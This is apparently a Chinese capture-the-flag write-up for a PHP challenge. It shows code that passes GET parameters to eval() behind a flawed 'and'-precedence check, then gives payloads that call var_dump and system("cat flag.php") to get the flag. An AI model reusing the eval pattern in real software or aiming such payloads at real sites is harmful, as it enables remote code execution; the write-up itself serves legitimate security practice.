<?php
highlight_file(__FILE__);
include("flag.php");
//flag in class flag;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0)
{
if(!preg_match("/\;/", $v2))
{
if(preg_match("/\;/", $v3))
{
eval("$v2('ctfshow')$v3");
}
}
}
?>
php中OR与|| AND与&&的区别总结
参考资料:(https://www.jb51.net/article/42425.htm)
因为赋值的优先级=高于and所以v0的值可以由v1来控制,所以我们需要给其赋值为1也就是true
因为flag在类ctfshow中,所以可以直接命令执行
?v1=1&v2=var_dump($ctfshow)&v3=;
v1=1&v2=system("cat flag.php")/*&v3=*/;
输入payload后右击页面查看源码即可看到flag
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.